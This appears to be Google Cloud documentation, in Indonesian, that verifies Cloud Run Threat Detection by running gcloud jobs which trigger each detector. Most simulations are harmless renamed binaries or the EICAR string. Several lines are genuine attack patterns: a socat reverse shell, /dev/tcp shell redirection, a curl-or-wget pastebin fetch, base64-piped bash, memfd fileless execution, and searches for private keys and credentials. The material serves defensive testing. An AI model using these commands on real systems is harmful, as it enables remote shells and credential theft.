Halaman ini menjelaskan cara memverifikasi bahwa Deteksi Ancaman Cloud Run berfungsi dengan memicu detektor secara sengaja dan memeriksa temuan. Cloud Run Threat Detection adalah layanan bawaan Security Command Center.
Sebelum memulai
Untuk mendeteksi potensi ancaman terhadap layanan dan tugas Cloud Run Anda, pastikan layanan Cloud Run Threat Detection diaktifkan di Security Command Center. Beberapa detektor dinonaktifkan secara default. Untuk menguji detektor tersebut, Anda harus mengaktifkannya terlebih dahulu.
Menetapkan variabel lingkungan
Untuk menguji detektor, gunakan konsol Google Cloud dan Cloud Shell. Anda dapat menetapkan variabel lingkungan di Cloud Shell agar lebih mudah menjalankan perintah. Anda akan menggunakan variabel ini untuk menguji semua detektor.
Buka Google Cloud console.
Pilih project yang berisi tugas Cloud Run yang ingin Anda gunakan untuk pengujian.
Klik Activate Cloud Shell.
Di Cloud Shell, tetapkan variabel lingkungan:
Tetapkan project dan region tempat Anda akan membuat tugas pengujian.
export PROJECT=PROJECT_ID export REGION=REGION
Setelah variabel lingkungan ditetapkan, Anda dapat melanjutkan mengikuti petunjuk untuk menguji detektor.
Command and Control: Alat Steganografi Terdeteksi
Untuk memicu temuan Command and Control: Steganography Tool Detected (Pratinjau), jalankan biner dengan kemampuan manipulasi file yang konsisten dengan alat steganografi dalam penampung. Contoh ini menyalin /bin/ls
dan mengganti namanya menjadi steghide.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-steganography-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/steghide; sleep 60; /tmp/steghide; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Command and Control: Steganography Tool
Detected.
Akses Kredensial: Temukan Google Cloud Kredensial
Untuk memicu temuan Credential Access: Find Google Cloud Credentials,
jalankan biner yang dapat menelusuri isi file dalam
penampung. Contoh ini menyalin /bin/ls, mengganti namanya menjadi grep, dan mengeksekusinya
dengan argumen yang mencurigakan.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-find-creds-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/grep; sleep 60; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Credential Access: Find Google Cloud Credentials.
Akses Kredensial: Pengintaian Kunci GPG
Untuk memicu temuan Credential Access: GPG Key Reconnaissance, jalankan alat penelusuran dengan argumen yang mencurigakan.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-gpg-key-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find secring.gpg; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Credential Access: GPG Key Reconnaissance.
Akses Kredensial: Menelusuri Kunci Pribadi atau Sandi
Untuk memicu temuan Credential Access: Search Private Keys or Passwords, jalankan alat penelusuran dengan argumen yang mencurigakan.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-search-keys-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find id_rsa; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Credential Access: Search Private Keys or
Passwords.
Penghindaran Pertahanan: Command Line File ELF Base64
Untuk memicu temuan Defense Evasion: Base64 ELF File Command Line, jalankan
base64 dengan argumen header ELF yang dienkode.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-base64-elf-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; base64 -d f0VMRgIB; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini akan membuat dua temuan Defense Evasion: Base64 ELF File Command Line.
Penghindaran Pertahanan: Skrip Python yang Dikodekan Base64 Dieksekusi
Untuk memicu temuan Defense Evasion: Base64 Encoded Python Script Executed,
jalankan echo dengan perintah Python yang dienkode.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-base64-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; base64 aW1wb3J0IH; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Defense Evasion: Base64 Encoded Python Script Executed.
Penghindaran Pertahanan: Skrip Shell Berenkode Base64 Dieksekusi
Untuk memicu temuan Defense Evasion: Base64 Encoded Shell Script Executed,
jalankan echo dengan perintah shell yang dienkode.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-base64-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; base64 IyEvYmluL3NoC; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Defense Evasion: Base64 Encoded Shell Script Executed.
Penghindaran Pertahanan: Meluncurkan Alat Compiler Kode Dalam Container
Untuk memicu temuan Defense Evasion: Launch Code Compiler Tool In Container
(Pratinjau), jalankan alat compiler.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-launch-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/gcc10; sleep 60; /tmp/gcc10 -o /tmp/gcc10.o; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Defense Evasion: Launch Code Compiler Tool
In Container.
Eksekusi: Menambahkan Eksekusi Biner Berbahaya yang Dieksekusi
Untuk memicu Eksekusi: Menambahkan temuan Malicious Binary Executed, tambahkan biner berbahaya (EICAR) ke penampung Anda dan jalankan.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-added-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; sleep 60; /tmp/test_mal_file; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Eksekusi Biner Berbahaya Ditambahkan: Eksekusi.
Eksekusi: Pustaka Berbahaya Ditambahkan dan Dimuat
Untuk memicu Eksekusi: Temuan Malicious Library Loaded ditambahkan, tambahkan
library berbahaya di container Anda dan muat. Contoh
ini memperbarui file /tmp/test_mal_lib
dengan library berbahaya simulasi, lalu memuatnya menggunakan mmap. Pemuatan library
file yang ada tidak terduga karena file tidak ada dalam image container asli dan library adalah file pengujian EICAR, yang diklasifikasikan sebagai berbahaya oleh intelijen ancaman.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-add-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /tmp/test_mal_lib
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
int fd = open(argv[1], O_RDONLY);
if (fd == -1) return 1;
struct stat sb;
if (fstat(fd, &sb) == -1) return 1;
void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
if (addr == MAP_FAILED) return 1;
write(1, addr, sb.st_size);
munmap(addr, sb.st_size);
close(fd);
return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /tmp/test_mal_lib
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Eksekusi: Library Berbahaya Dimuat.
Eksekusi: Container Escape
Untuk memicu temuan Eksekusi: Container Escape, jalankan alat yang menyimulasikan perilaku container escape.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/botb-linux-amd64; sleep 60; /tmp/botb-linux-amd64 -autopwn; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Execution: Container Escape.
Eksekusi: Eksekusi Tanpa File di /memfd:
Untuk memicu temuan Execution: Fileless Execution in /memfd:,
jalankan proses dari sistem file dalam memori /memfd: menggunakan Python.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-fileless-memfd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
PYTHON_CODE=$(cat <<EOF
import os,sys
f = open('/bin/ls','rb')
execdata = f.read()
f.close()
fd = os.memfd_create('', 0)
fname = '/proc/self/fd/{}'.format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ['/bin']
os.execve(fname, args, os.environ)
EOF
)
B64_PAYLOAD=$(echo "$PYTHON_CODE" | base64 -w 0)
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image python:latest \
--command=bash \
--args="-c","sleep 60; echo $B64_PAYLOAD | base64 -d | python3 ; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Execution: Fileless Execution in /memfd:.
Eksekusi: Eksekusi Alat Serangan Kubernetes
Untuk memicu Eksekusi: Temuan Eksekusi Alat Serangan Kubernetes, jalankan program yang cocok dengan alat serangan yang diketahui.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-k8s-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/amicontained; sleep 60; /tmp/amicontained; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Eksekusi: Eksekusi Alat Serangan Kubernetes.
Eksekusi: Eksekusi Alat Pengintaian Lokal
Untuk memicu temuan Execution: Local Reconnaissance Tool Execution, jalankan
program yang cocok dengan alat pengintaian.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-local-recon-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/linenum.sh; sleep 60; /tmp/linenum.sh; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Eksekusi: Alat Pengintaian Lokal Eksekusi.
Eksekusi: Biner Berbahaya yang Dimodifikasi Dieksekusi
Untuk memicu temuan Eksekusi Biner Berbahaya yang Dimodifikasi: Ubah biner agar sesuai dengan tanda tangan berbahaya yang diketahui (EICAR).
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-mod-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; sleep 60; /etc/issue; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Eksekusi: Biner Berbahaya yang Dimodifikasi Dieksekusi.
Eksekusi: Library Berbahaya yang Dimodifikasi Dimuat
Untuk memicu Eksekusi: Temuan Pustaka Berbahaya yang Dimodifikasi dan Dimuat, ubah file yang ada dengan pustaka berbahaya di container Anda dan muat. Contoh
ini memperbarui file /etc/issue
dengan library berbahaya simulasi, lalu memuatnya menggunakan mmap. Pemuatan library file yang ada tidak terduga karena library adalah file pengujian EICAR, yang diklasifikasikan sebagai berbahaya oleh intelijen ancaman.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-mod-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /etc/issue
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
int fd = open(argv[1], O_RDONLY);
if (fd == -1) return 1;
struct stat sb;
if (fstat(fd, &sb) == -1) return 1;
void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
if (addr == MAP_FAILED) return 1;
write(1, addr, sb.st_size);
munmap(addr, sb.st_size);
close(fd);
return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /etc/issue
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini akan membuat temuan Execution: Modified Malicious Library Loaded.
Eksekusi: Netcat Remote Code Execution In Container
Untuk memicu peristiwa Execution: Netcat Remote Code Execution In Container,
jalankan netcat dengan argumen yang mencurigakan.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-netcat-rce-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","cp /bin/ls /tmp/nc; sleep 60; /tmp/nc -e; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Execution: Netcat Remote Code Execution In
Container.
Eksekusi: Kemungkinan Eksekusi Perintah Arbitrer melalui CUPS (CVE-2024-47076)
Untuk memicu temuan Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076), jalankan skrip yang menyimulasikan eksploitasi.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-cups-cve-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076).
Eksekusi: Kemungkinan Eksekusi Perintah Jarak Jauh Terdeteksi
Untuk memicu temuan Execution: Possible Remote Command Execution Detected
(Pratinjau), jalankan perintah yang mencoba koneksi jarak jauh.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/ls /tmp/touch; echo \"Hello\" | /tmp/touch >& /dev/tcp/8.8.8.8/53; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Execution: Possible Remote Command
Execution Detected.
Eksekusi: Program Berjalan dengan Env Proxy HTTP yang Tidak Diizinkan
Untuk memicu temuan Execution: Program Run with Disallowed HTTP Proxy Env,
jalankan program dengan variabel lingkungan proxy yang buruk.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Execution: Program Run with Disallowed
HTTP Proxy Env.
Eksekusi: Socat Reverse Shell Terdeteksi
Untuk memicu temuan Execution: Socat Reverse Shell Detected, buat
reverse shell menggunakan utilitas socat.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-socat-rev-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
RAW_SOCAT="timeout 10s /usr/bin/socat TCP-LISTEN:4444,reuseaddr,fork STDOUT & sleep 5 && timeout 5s /usr/bin/socat TCP:127.0.0.1:4444 EXEC:/bin/bash,pty,stderr || true"
B64_SOCAT=$(echo -n "$RAW_SOCAT" | base64 | tr -d '\n\r ')
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args="-c","sleep 60; apt-get update -qq && apt-get install socat -y -qq && echo $B64_SOCAT | base64 -d | bash" \
--execute-now \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Execution: Socat Reverse Shell Detected.
Eksekusi: Objek Bersama OpenSSL Mencurigakan Dimuat
Untuk memicu temuan Execution: Suspicious OpenSSL Shared Object Loaded,
jalankan openssl dengan library yang mencurigakan.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-openssl-so-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Execution: Suspicious OpenSSL Shared Object Loaded.
Eksfiltrasi: Meluncurkan Alat Penyalinan File Jarak Jauh di Container
Untuk memicu penemuan Exfiltration: Launch Remote File Copy Tools In Container, jalankan alat salin jarak jauh.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-remote-copy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/rsync; /tmp/rsync; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Exfiltration: Launch Remote File Copy Tools
In Container.
Dampak: Mendeteksi Cmdline Berbahaya
Untuk memicu temuan Impact: Detect Malicious Cmdlines (Pratinjau),
jalankan nama perintah yang mencurigakan (IPFS).
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-malicious-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/ipfs; /tmp/ipfs; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Impact: Detect Malicious Cmdlines.
Dampak: Menghapus Data Massal dari Disk
Untuk memicu temuan Impact: Remove Bulk Data From Disk, jalankan alat
seperti shred.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-remove-bulk-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/shred; /tmp/shred; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Impact: Remove Bulk Data From Disk.
Dampak: Aktivitas penambangan mata uang kripto yang mencurigakan menggunakan Stratum Protocol
Untuk memicu temuan Impact: Suspicious cryptocurrency mining activity using the Stratum
Protocol, jalankan biner dengan argumen yang menyerupai yang digunakan oleh software penambangan mata uang kripto yang berkomunikasi menggunakan protokol Stratum.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Impact: Suspicious cryptocurrency mining activity
using the Stratum Protocol.
Skrip Berbahaya Dieksekusi
Untuk memicu temuan Skrip Berbahaya Dieksekusi, jalankan skrip yang meniru perilaku berbahaya.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; sh -c \"(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d\"; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini akan membuat temuan Malicious Script Executed.
URL Berbahaya Teramati
Untuk memicu temuan Malicious URL Observed, jalankan biner dan berikan URL berbahaya sebagai argumen.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; apt-get update && apt-get install curl -y && curl https://testsafebrowsing.appspot.com/s/malware.html | cat; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini memicu temuan URL Berbahaya Teramati.
Eskalasi Akses: Penyalahgunaan Sudo untuk Eskalasi Akses (CVE-2019-14287)
Untuk memicu temuan Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287), jalankan biner sudo dengan parameter -u#-1.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287).
Eskalasi Akses: Potensi Eskalasi Akses Sudo (CVE-2021-3156)
Untuk memicu temuan Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156), jalankan biner sudo dengan parameter -s dan parameter yang diakhiri dengan ``.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/ls /tmp/sudo; su $(id -un 1000) -c "/tmp/sudo -s \"123\\\\\"" ; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156).
Eskalasi Akses: Kerentanan Eskalasi Akses Lokal Polkit (CVE-2021-4034)
Untuk memicu temuan Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034), jalankan biner pkexec dengan variabel lingkungan GCONV_PATH yang ditetapkan sebagai pengguna non-root.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/ls /tmp/pkexec; su $(id -un 1000) -c "GCONV_PATH=junk /tmp/pkexec;"; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034).
Reverse Shell
Untuk memicu temuan Reverse Shell, mulai biner dengan pengalihan stdin ke soket yang terhubung TCP.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Reverse Shell.
Eksekusi: Image Docker Cryptomining
Untuk memicu Eksekusi: Temuan Image Docker Cryptomining, deploy container menggunakan nama image Docker yang terkait dengan software cryptomining.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-mining-img-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image docker.io/security-test-DO-NOT-USE/xmrig:latest \
--command sh \
--wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Eksekusi: Image Docker Cryptomining. Perhatikan bahwa deployment tugas akan gagal karena gambar tidak ada, tetapi temuan akan tetap dibuat.
Dampak: Perintah Penambangan Kripto
Untuk memicu temuan Impact: Cryptomining Commands, jalankan perintah dengan
argumen yang menyerupai software penambangan kripto yang diketahui.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-mining-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command xmrig \
--wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Impact: Cryptomining Commands.
Eskalasi Hak Istimewa: Default Compute Engine Service Account SetIAMPolicy
